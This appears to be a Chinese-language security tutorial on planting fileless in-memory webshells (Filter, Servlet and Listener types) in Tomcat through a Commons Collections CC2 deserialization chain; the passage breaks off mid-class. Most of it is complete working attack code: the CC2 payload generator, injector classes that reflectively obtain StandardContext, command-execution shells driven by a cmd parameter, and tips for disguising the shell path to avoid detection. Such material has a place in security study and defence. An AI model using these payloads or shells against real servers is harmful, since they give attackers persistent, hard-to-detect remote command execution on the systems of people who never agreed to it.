原理分析 | 反序列化内存马 —— CC2 + Tomcat三种组件 + 无文件落地
摘要:本文记录了一次完整的实践过程:在一个存在反序列化漏洞的 Tomcat Web 应用上,利用 Commons Collections 利用链,将 Filter / Servlet / Listener 类型的内存马注入进运行时内存,实现无文件落地的持久化控制。整体思路是:找到反序列化入口 → 构造利用链 → 动态获取 StandardContext → 注册恶意组件。适合已了解 Java 反序列化基础和内存马基本原理的同学作为进阶实战参考。
目录
- 前置知识
- 无文件攻击与内存马的关系
- 注入的核心思路
- 环境准备
- 搭建存在漏洞的服务端
- 注入流程拆解
- Filter 内存马注入实现
- Servlet 内存马注入实现
- Listener 内存马注入实现
- 常见问题踩坑
- 总结
前置知识
在读这篇之前,建议先了解:
- Java 反序列化基础(序列化 / 反序列化流程)
- 反射机制(
getDeclaredField/getDeclaredMethod/invoke等) - CC 利用链原理(本文以 CC2 为例)
- Tomcat 内存马三件套:Filter / Servlet / Listener 的注入原理
- Javassist 操作字节码的基本用法
- Tomcat 上下文机制(StandardContext 是什么,怎么用)
如果对上面某些点不熟悉,建议先补一下再来,不然后面的代码看起来会比较吃力。
无文件攻击与内存马的关系
"无文件攻击"这个词经常被提到,但很多时候容易被误解成"什么文件都不需要"。实际上更准确的理解是:恶意代码的执行不依赖磁盘上的持久化文件。
内存马之所以符合这个特征,是因为它的整个生命周期都绑定在 Web 容器的运行时内存里:
- 容器在,马就在;容器重启,马就消失
- 没有 WebShell 文件落地,传统的文件扫描发现不了
- 挂载在请求处理链路上,每个请求都会经过,隐蔽性极强
反序列化漏洞是植入内存马的理想入口,原因在于:反序列化操作本身就是"将数据变成代码执行"的过程,攻击者可以借助利用链,在目标 JVM 内部执行任意代码,而这一切对外部看起来只是一个正常的数据传输请求。
注入的核心思路
整个流程可以用下面几步来概括:
- 找到反序列化入口:接受序列化数据的 HTTP 接口(参数、文件上传等)
- 选择合适的利用链:目标类路径里有哪些可用的第三方库(CC2、CC4、CB1 等)
- 构造恶意类:这个类的构造函数里就是注入内存马的逻辑
- 获取 StandardContext:通过当前线程的类加载器反射获取
- 动态注册恶意组件:把 Filter / Servlet / Listener 塞进 Tomcat 的运行时
- 生成 Payload 发送:把恶意类字节码塞进利用链,序列化后发送给目标
这其中最关键的一步其实是第 4 步——代码运行在反序列化触发的上下文里,没有任何正常的上下文获取渠道,怎么拿到 StandardContext 是个绕不开的问题。
环境准备
本文实验环境如下:
| 项目 | 版本 |
|---|---|
| JDK | 8u65 |
| Tomcat | 9.0.x |
| Commons Collections | 4.0 |
| Javassist | 3.20.0-GA |
pom.xml 核心依赖:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.demo</groupId>
<artifactId>shell</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.97</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
<build>
<finalName>shell</finalName>
</build>
</project>
搭建存在漏洞的服务端
为了模拟真实场景,先搭一个存在反序列化漏洞的 Servlet。这里提供两种入口:
1. 文件上传型漏洞
直接对上传文件内容做反序列化:
// UploadServlet.java(简化版)
// @MultipartConfig 是必须的,加了这个注解 Servlet 才能处理 multipart/form-data 类型的请求(也就是文件上传表单)
@MultipartConfig
@WebServlet("/upload")
public class UploadServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 从请求里取出名为 file 的文件部分,拿到它的输入流
// 此时 is 里就是用户上传文件的原始字节数据
Part filePart = req.getPart("file");
InputStream is = filePart.getInputStream();
// 直接反序列化用户上传的文件——高危操作
ObjectInputStream ois = new ObjectInputStream(is);
try {
ois.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().println("upload ok");
}
}
2. POST 参数型漏洞
接收 Base64 编码的序列化数据,解码后反序列化:
// VulnServlet.java(简化版)
@WebServlet("/vuln")
public class VulnServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 从 POST 请求里拿名为 data 的参数,值是 Base64 编码的字符串
String b64 = req.getParameter("data");
// 把 Base64 字符串解码成原始字节数组
// Java 序列化的数据头是 AC ED 00 05,decode 之后就还原成了那个二进制数据
byte[] bytes = Base64.getDecoder().decode(b64);
// 把字节数组包装成流,再套一层 ObjectInputStream,准备反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
try {
// 漏洞核心在这里
// 直接把用户传来的数据反序列化,没有任何校验——既不验证数据来源,也不做类白名单过滤
// 攻击者传什么就反序列化什么,利用链就从这里触发
ois.readObject(); // 漏洞点
} catch (ClassNotFoundException e) {
e.printStackTrace();
} finally {
ois.close();
}
}
}
前端页面
src/main/webapp/index.jsp:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>反序列化漏洞测试</title>
<!-- 页面标题和字符编码声明,防止中文乱码 -->
<meta charset="UTF-8">
</head>
<body>
<h2>文件上传测试(UploadServlet)</h2>
<!--
enctype="multipart/form-data" — 文件上传必须用这个编码类型,浏览器才会以二进制方式发送文件内容
action="/upload" — 表单提交到 UploadServlet(@WebServlet("/upload"))
name="file" — 对应 Servlet 中 req.getPart("file") 取文件
-->
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<hr>
<h2>Base64 参数测试(VulnServlet)</h2>
<!--
action="/vuln" — 提交到 VulnServlet(@WebServlet("/vuln"))
name="data" — 对应 Servlet 中 req.getParameter("data") 取值
-->
<form action="/vuln" method="post">
<textarea name="data" rows="5" cols="60" placeholder="粘贴 Base64 编码的序列化数据"></textarea>
<br>
<input type="submit" value="提交">
</form>
</body>
</html>
src/main/webapp/WEB-INF/web.xml 可以添加 Tomcat 自带的 SetCharacterEncodingFilter,全局设置请求 / 响应编码为 UTF-8:
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.apache.catalina.filters.SetCharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
http://localhost:8080/ 的效果:
验证漏洞入口是否正常
因为环境是 CC 4.0,CC1 / CC6 用不了(依赖 CC 3.x),这里用 CC2 来验证。
直接用 java -jar ysoserial.jar CommonsCollections2 "calc" 生成 Payload,或者用 GUI 工具生成:
上传数据提交:
两种方式都能触发计算器弹出,漏洞入口没问题:
注入流程拆解
利用链的选择逻辑
要通过利用链注入内存马,关键问题只有一个:利用链的终点能不能执行任意 Java 字节码。
根据这个可以把利用链分成两类:
第一类:终点是 TemplatesImpl(如 CC2、CC3)
这类链的终点是 TemplatesImpl.newTransformer(),它会把 _bytecodes 字段里的字节数组还原成类并实例化,触发构造函数。注入内存马的方式非常直接:
构造函数里写内存马注入逻辑
→ 编译成字节码
→ 塞进 _bytecodes
→ 序列化利用链发送
→ 反序列化触发 newTransformer()
→ 构造函数执行
→ 内存马注入完成
整个过程一步到位,无文件落地,是最干净的方式,也是本文选择 CC2 的原因。
第二类:终点是命令执行(如 CC1、CC6)
这类链的终点是 Runtime.exec(),只能执行系统命令,没有字节码加载这一步,没办法直接把内存马字节码塞进去。这种情况通常有两种思路:
- 命令写文件:执行命令把 WebShell 写到磁盘,但文件会落地,失去无文件攻击的意义
- 结合 JNDI:链触发后启动恶意 JNDI 服务,目标服务器请求该服务加载远程字节码,间接完成内存马注入,多了一个中转步骤
结论:选利用链注入内存马,优先选终点是 TemplatesImpl 的链,字节码加载是关键,有了这一步才能把内存马逻辑直接封装进去,否则只能走间接路线。
整体执行链路
下面的步骤整体思路是:先编译一个 EvilFilter 过滤器,Base64 后放到 MemShellInject 里进行解码然后注册到 Tomcat,这就是完整的内存马;然后再把 MemShellInject 编码放入 CC2 链的 _bytecodes 里,这样服务器收到 CC2 链触发反序列化,会实例化运行 _bytecodes 里的代码。
1. EvilFilter.java 编译 → 转 Base64
2. Base64 填进 MemShellInject 构造函数
构造函数里做:
→ Base64 解码还原 EvilFilter
→ defineClass 加载进 JVM
→ 注册到 Tomcat
3. MemShellInject 转成字节数组 → 填进 CC2 链的 _bytecodes
4. 发送给目标服务器触发反序列化
→ CC2 链执行
→ TemplatesImpl 加载 _bytecodes
→ 实例化 MemShellInject
→ 构造函数执行
→ EvilFilter 注册到 Tomcat
→ 内存马生效
Step1:编写恶意组件
以 Filter 为例,先写一个可以执行命令的恶意 Filter:
package com.demo;
import javax.servlet.*;
import java.io.*;
public class EvilFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
// 从请求参数里拿 cmd,有值才执行,没有就放行,不影响正常请求
String cmd = request.getParameter("cmd");
if (cmd != null) {
// 执行系统命令,拿到命令输出的流
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
// 循环读取命令输出,每次读 1024 字节写进 baos,直到读完为止
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = inputStream.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
// 把命令结果转成字符串写回响应,return 结束,不再往下走过滤器链
response.getWriter().write(new String(baos.toByteArray()));
return;
}
chain.doFilter(request, response);
}
@Override
public void destroy() {}
}
Step2:封装注入逻辑
真正的核心是注入器类。它需要继承 AbstractTranslet(因为利用链里要用 TemplatesImpl 加载),然后在无参构造函数里实现所有注入逻辑,因为 CC 链最终会调用 newTransformer() 触发类实例化,进而执行构造函数。
这里先说一下 {}、static {}、构造方法三者的区别,因为这个问题在内存马里经常遇到:
// 实例初始化块:每次 new 对象都执行,执行顺序比构造方法早,用得很少
{
// ...
}
// 静态块:类第一次被 JVM 加载时执行,不管 new 多少次对象,静态块只跑一次
static {
// ...
}
// 构造方法:每次 new 对象都执行一次
public MemShellInject() {
// ...
}
执行顺序是:
类加载 → static{} → new 对象 → {} → 构造方法
三种方式都能触发内存马逻辑,这里选构造方法,因为 TemplatesImpl 实例化的时候会调它。
下面是注入器 MemShellInject 的完整代码:
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
// 必须继承这个类,因为 CC2 链用 TemplatesImpl 加载字节码的时候,
// 要求被加载的类必须是 AbstractTranslet 的子类,否则报错
public class MemShellInject extends AbstractTranslet {
// 每次实例化都执行
public MemShellInject() {
try {
// 第一步:获取 StandardContext
// 调用下面的 getStandardContext() 方法拿到 Tomcat 的上下文,拿不到就直接退出
StandardContext ctx = getStandardContext();
if (ctx == null) return;
// 第二步:还原 EvilFilter
// 把 EvilFilter 的 Base64 解码成字节数组,再通过反射调用 defineClass
// 把字节数组还原成 Class,最后实例化成 Filter 对象
String b64 = "base64数据"; // 填入 Step3 输出的 EvilFilter Base64
byte[] bytes = Base64.getDecoder().decode(b64);
// 拿到当前线程的类加载器,后面用它来加载 EvilFilter 这个类
ClassLoader cl = Thread.currentThread().getContextClassLoader();
// 通过反射拿到 ClassLoader 的 defineClass 方法
// 这个方法的作用是把字节数组转成 Class 对象
// 它是 protected 的,正常情况下外部不能直接调用,所以要反射
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
// 调用 defineClass,返回 EvilFilter 的 Class 对象
Class<?> filterClass = (Class<?>) defineClass.invoke(cl, bytes, 0, bytes.length);
// 拿到无参构造方法,实例化成 Filter 对象
Filter filter = (Filter) filterClass.getDeclaredConstructor().newInstance();
// 第三步:注册到 Tomcat
// FilterDef 是 Filter 的定义(是什么),FilterMap 是 Filter 的映射(拦截哪些路径)
// 两个都注册进 StandardContext,最后 filterStart() 让 Filter 生效
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evil");
filterDef.setFilter(filter);
filterDef.setFilterClass(filterClass.getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evil");
filterMap.addURLPattern("/*");
ctx.addFilterDef(filterDef);
ctx.addFilterMap(filterMap);
// filterStart() 和手动塞 filterConfigs 的区别:
// filterStart():让 Tomcat 自己遍历所有已注册的 FilterDef,统一初始化生成 filterConfigs,走标准流程
// 手动塞 filterConfigs:绕过 filterStart(),直接反射拿到 filterConfigs 这个 Map,手动创建
// ApplicationFilterConfig 塞进去,更底层,副作用更小(不影响其他正常 Filter)
// 两种方式都能让内存马生效,手动塞更稳一点,这里用 filterStart() 简化操作
ctx.filterStart();
System.out.println("注入成功");
} catch (Exception e) {
e.printStackTrace();
}
}
// 为什么要从线程类加载器入手,而不是从 request 拿?
// JSP 版本能用 request.getSession().getServletContext() 是因为 JSP 本身就在一个 HTTP 请求的处理过程中
// 但 MemShellInject 的构造函数是被 CC2 链触发的,执行环境是反序列化的上下文,
// 不在任何 HTTP 请求里,根本没有 request 可以用,所以只能从线程类加载器入手
//
// 为什么能从类加载器拿到 StandardContext?
// Tomcat 给每个 Web 应用都分配了独立的类加载器(ParallelWebappClassLoader)
// 这个类加载器内部持有一个 resources 字段,指向 WebResourceRoot(通常是 StandardRoot 实例)
// 而 StandardRoot 里又有一个 context 字段指向当前应用的 StandardContext
// 链路:
// Thread.currentThread().getContextClassLoader()
// → ParallelWebappClassLoader.resources
// → StandardRoot.context
// → StandardContext(目标!)
//
// 对比 JSP 的方式:
// request → getSession() → getServletContext() → ApplicationContext → StandardContext
// 两条路终点都是 StandardContext,只是起点不同
private StandardContext getStandardContext() throws Exception {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Field resourcesField = null;
Class<?> clazz = cl.getClass();
// 向上遍历父类查找 resources 字段,兼容不同版本 Tomcat 的类继承关系
while (clazz != null) {
try {
resourcesField = clazz.getDeclaredField("resources");
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (resourcesField == null) return null;
resourcesField.setAccessible(true);
Object resources = resourcesField.get(cl);
// 拿到 resources(StandardRoot)之后,再反射取 context 字段,强转成 StandardContext 返回
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object context = contextField.get(resources);
if (context instanceof StandardContext) {
return (StandardContext) context;
}
return null;
}
// AbstractTranslet 的抽象方法,必须实现,但这里不需要任何逻辑,空实现就行
@Override
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM dom, DTMAxisIterator it, SerializationHandler handler) throws TransletException {}
}
Step3:获取组件字节码
先把 EvilFilter 和 MemShellInject 都编译好,用 Javassist 提取字节数组:
package com.demo;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Arrays;
import java.util.Base64;
public class GetBytes {
public static void main(String[] args) throws Exception {
// Javassist 的类池,可以理解为一个类的仓库,通过它来操作 .class 文件
ClassPool pool = ClassPool.getDefault();
// 从类池里找到 EvilFilter,转成字节数组,再转成 Base64 字符串输出
// 这个 Base64 要填进 MemShellInject 构造函数里的 b64 变量
CtClass ct1 = pool.get("com.demo.EvilFilter");
byte[] filterBytes = ct1.toBytecode();
System.out.println("EvilFilter Base64: " + Base64.getEncoder().encodeToString(filterBytes));
// 同样从类池里找到 MemShellInject,转成字节数组输出
// 这个字节数组要填进 CC2 链的 _bytecodes 里
CtClass ct2 = pool.get("com.demo.MemShellInject");
byte[] injectBytes = ct2.toBytecode();
System.out.println("MemShellInject bytes: " + Arrays.toString(injectBytes));
}
}
运行先得到 EvilFilter 的 Base64 数据:
yv66vg是 Java 字节码文件魔数CA FE BA BE的 Base64 编码结果。所以看到一段 Base64 字符串开头是yv66vg,基本可以确定这是一个 Java.class文件编码后的结果。
把 EvilFilter 的 Base64 字符串填进 MemShellInject 里的 b64 变量,重新编译,再次运行 GetBytes 拿到 MemShellInject 的字节数组:
输出的字节数组开头是 -54, -2, -70, -66,对应的就是 CA FE BA BE,Java 字节码的魔数,没问题。
Step4:套入利用链生成 Payload
以 CC2 链为例,核心结构是 PriorityQueue → TransformingComparator → InvokerTransformer → TemplatesImpl。把 MemShellInject 的字节码填入 TemplatesImpl._bytecodes:
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 填入 MemShellInject 的字节数组(把 Step3 拿到的数组填进来)
byte[] bytes = {-54, -2, -70, -66, 0, 0, 0, 52, /* ... */};
// 把内存马字节码塞进 TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "pwn");
// 构造 CC2 链
// 先用无害的 ConstantTransformer 占位,防止 add 的时候提前触发
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
// 塞完再换成真正的 InvokerTransformer,触发 newTransformer()
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
setFieldValue(comparator, "transformer", invokerTransformer);
// 序列化输出 bin 文件 + Base64
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(queue);
}
byte[] payload = baos.toByteArray();
try (FileOutputStream fos = new FileOutputStream("memshell.bin")) {
fos.write(payload);
}
System.out.println(Base64.getEncoder().encodeToString(payload));
System.out.println("memshell.bin 生成完成");
}
}
运行后生成序列化的 Base64 数据:
Step5:发送到目标触发注入
文件上传型漏洞:直接上传 memshell.bin 文件到漏洞接口。
参数型漏洞:把 Base64 字符串粘进表单提交。
有报错提示不管,这是正常的,因为 TemplatesImpl 实例化我们的恶意类时会抛 ClassCastException,但构造函数在报错之前已经执行完了,内存马已经注入进去了。
直接访问:
http://localhost:8080/项目名/任意路径?cmd=calc
成功弹出计算器:
重启 Tomcat 服务再次访问显示 404,证明刚才生效的是内存马,不是文件落地的 WebShell:
关于匿名内部类的替代写法
上面的方式是单独写一个 EvilFilter.java,编译后转 Base64 填进 MemShellInject,然后通过 defineClass 加载。
还有另一种更简洁的写法:直接在 MemShellInject 里写内部匿名类,不需要 Base64 和 defineClass 那一套:
// 直接在构造函数里 new Filter(){} 写匿名内部类
// 编译后就是 MemShellInject$1.class,不需要单独写 EvilFilter.java
Filter filter = new Filter() {
// ... 实现逻辑
};
但这样 MemShellInject 编译后会生成两个 .class 文件:
MemShellInject.classMemShellInject$1.class(匿名内部类)
塞进 _bytecodes 的时候两个都要带上:
byte[] injectBytes = ...; // MemShellInject.class 的字节数组
byte[] innerBytes = ...; // MemShellInject$1.class 的字节数组
// _bytecodes 是二维数组,两个都塞进去
setFieldValue(templates, "_bytecodes", new byte[][]{injectBytes, innerBytes});
这里有个细节要注意,看一下 TemplatesImpl 的 defineTransletClasses 源码:
它会把 _bytecodes 里继承 AbstractTranslet 的类的字节数据全部 defineClass 动态加载到 _class[] 里。然后有一段:
if (superClass.getName().equals("AbstractTranslet")) {
transletIndex = i; // 记录下标
}
会根据 AbstractTranslet 来确定下标,在 getTransletInstance() 里用 _class[_transletIndex].newInstance() 来实例化。这意味着无论 _class[] 里有多少内部匿名类,被实例化的只有继承了 AbstractTranslet 的那个类。
所以传入 {injectBytes, innerBytes} 也能正确实例化 MemShellInject,接着 MemShellInject 再触发 MemShellInject$1 的实例化,逻辑上没问题。
但如果 _bytecodes 里有多个继承 AbstractTranslet 的类,transletIndex 会被后面的覆盖,最终只实例化最后一个。
// 假设 A 和 B 都继承了 AbstractTranslet
// 遍历顺序:A → B
// transletIndex 先指向 A,再被 B 覆盖,最终实例化 B
setFieldValue(templates, "_bytecodes", new byte[][]{A, B}); // 最终实例化的是 B
不过实际注入场景里一般不会有这个问题,因为注入器只需要一个主类,匿名内部类继承的是功能类(HttpServlet、Filter 等),不会继承 AbstractTranslet。
Filter 内存马注入实现
上面的 Step1 ~ Step5 整个流程就是 Filter 内存马的完整实现,这里不重复了。核心是:
- 恶意类实现
Filter接口,在doFilter里执行命令 - 通过
FilterDef + FilterMap + filterStart()注册进 Tomcat - 路径映射
/*,任意路径带cmd参数即可触发
Servlet 内存马注入实现
Servlet 的注入逻辑和 Filter 类似,恶意类换成继承 HttpServlet,注册方式有所不同,用的是 Wrapper:
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.Field;
public class MInjectServlet extends AbstractTranslet {
public MInjectServlet() {
try {
StandardContext ctx = getStandardContext();
if (ctx == null) return;
// 直接写匿名内部类,不需要 Base64 和 defineClass 那一套
// 编译后就是 MInjectServlet$1.class
HttpServlet servlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
resp.getWriter().write(sb.toString());
}
}
};
// 注册到 Tomcat
// Filter 注册:FilterDef + FilterMap + filterStart()
// Servlet 注册:Wrapper + addChild + addServletMappingDecoded
// Wrapper 是 Tomcat 里每个 Servlet 的运行容器,一个 Servlet 对应一个 Wrapper
// 注册进 StandardContext 之后绑定路径就生效了
Wrapper wrapper = ctx.createWrapper();
wrapper.setName("evilServlet");
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
ctx.addChild(wrapper);
ctx.addServletMappingDecoded("/api/test", "evilServlet");
System.out.println("Servlet 注入成功");
} catch (Exception e) {
e.printStackTrace();
}
}
private StandardContext getStandardContext() throws Exception {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Field resourcesField = null;
Class<?> clazz = cl.getClass();
while (clazz != null) {
try {
resourcesField = clazz.getDeclaredField("resources");
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (resourcesField == null) return null;
resourcesField.setAccessible(true);
Object resources = resourcesField.get(cl);
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object context = contextField.get(resources);
if (context instanceof StandardContext) {
return (StandardContext) context;
}
return null;
}
@Override
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM dom, DTMAxisIterator it, SerializationHandler handler) throws TransletException {}
}
GetBytes 工具类这次需要同时提取主类和匿名内部类两个字节数组:
package com.demo;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Arrays;
import java.util.Base64;
public class GetBytes {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
// 主类
CtClass ct1 = pool.get("com.demo.MInjectServlet");
byte[] injectBytes = ct1.toBytecode();
System.out.println("MInjectServlet: " + Arrays.toString(injectBytes));
// 匿名内部类
CtClass ct2 = pool.get("com.demo.MInjectServlet$1");
byte[] innerBytes = ct2.toBytecode();
System.out.println("MInjectServlet$1: " + Arrays.toString(innerBytes));
}
}
CC2 链里 _bytecodes 改成两个一起传:
byte[] injectBytes = {-54, -2, -70, -66, 0, 0, 0, 52, /* MInjectServlet 字节数组 */};
byte[] innerBytes = {-54, -2, -70, -66, 0, 0, 0, 52, /* MInjectServlet$1 字节数组 */};
setFieldValue(templates, "_bytecodes", new byte[][]{innerBytes, injectBytes});
Servlet 内存马的路径选择上建议模仿正常接口命名,比如
/api/status、/actuator/info这类,降低被发现的可能性。
先运行 MInjectServlet 生成两个 class 文件,再利用 GetBytes 输出字节数组,放入 CC2 链中,再次运行获得整个序列化的 Base64 数据。提交后访问:
http://localhost:8080/api/test?cmd=calc
成功:
Listener 内存马注入实现
Listener(监听器)是三种里最隐蔽的——它不出现在 FilterChain 里,也没有 URL 映射,纯粹靠事件驱动。
Listener 拿 response 有一点麻烦,因为 ServletRequestEvent 里只能直接拿到 ServletRequest,response 需要两层反射来挖:
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.Field;
public class MInjectListener extends AbstractTranslet {
public MInjectListener() {
try {
StandardContext ctx = getStandardContext();
if (ctx == null) return;
//listener的匿名内部类(下面的部分和之前写的jsp代码完全一样)
ServletRequestListener maliciousListener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
// 获取 HttpServletRequest
javax.servlet.http.HttpServletRequest req =
(javax.servlet.http.HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
// 执行命令,获得输出流
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
String result = output.toString();
// ========== 关键:反射获取 Response(两层反射,修复 ClassCastException)==========
// 步骤1:从 ServletRequestEvent 中获取 request 字段(实际类型是 RequestFacade)
Field requestField = sre.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Object requestFacade = requestField.get(sre); // 这是 org.apache.catalina.connector.RequestFacade
// 步骤2:从 RequestFacade 中获取真正的 Request 对象(字段名也是 "request")
Field innerRequestField = requestFacade.getClass().getDeclaredField("request");
innerRequestField.setAccessible(true);
org.apache.catalina.connector.Request catalinaRequest =
(org.apache.catalina.connector.Request) innerRequestField.get(requestFacade);
// 步骤3:从 Request 中获取 Response
org.apache.catalina.connector.Response catalinaResponse = catalinaRequest.getResponse();
// 步骤4:写入响应
catalinaResponse.setContentType("text/plain");
catalinaResponse.getWriter().write("Command: " + cmd + "\n");
catalinaResponse.getWriter().write("Output:\n" + result);
catalinaResponse.flushBuffer();
//这个是新加的代码因为发现之前写的jsp的那个代码有点问题,必须需要访问存在的页面才能回显,访问任意路径可以执行clac这些命令但是不能正常回显,页面卡死的状态
// 为了防止 Tomcat 后续处理(如错误页面)覆盖已经写入的响应,
// 用反射调用 finishResponse() 提前结束当前请求的处理
try {
//通过反射获取 org.apache.catalina.connector.Response 类中声明的 finishResponse() 方法
java.lang.reflect.Method finish = catalinaResponse.getClass()
.getDeclaredMethod("finishResponse");
finish.setAccessible(true);
//执行 catalinaResponse.finishResponse()
// 调用后 Tomcat 认为该请求已处理结束,
// 不会再执行 Valve、Filter、Servlet 或错误页面等后续步骤
finish.invoke(catalinaResponse);
} catch (Exception ignored) {}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
};
// Listener 注册比 Filter 和 Servlet 简单很多,一行搞定
ctx.addApplicationEventListener(maliciousListener);
System.out.println("Listener 注入成功");
} catch (Exception e) {
e.printStackTrace();
}
}
// 获取 StandardContext 的方法依然没变
private StandardContext getStandardContext() throws Exception {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Field resourcesField = null;
Class<?> clazz = cl.getClass();
while (clazz != null) {
try {
resourcesField = clazz.getDeclaredField("resources");
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (resourcesField == null) return null;
resourcesField.setAccessible(true);
Object resources = resourcesField.get(cl);
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object context = contextField.get(resources);
if (context instanceof StandardContext) {
return (StandardContext) context;
}
return null;
}
@Override
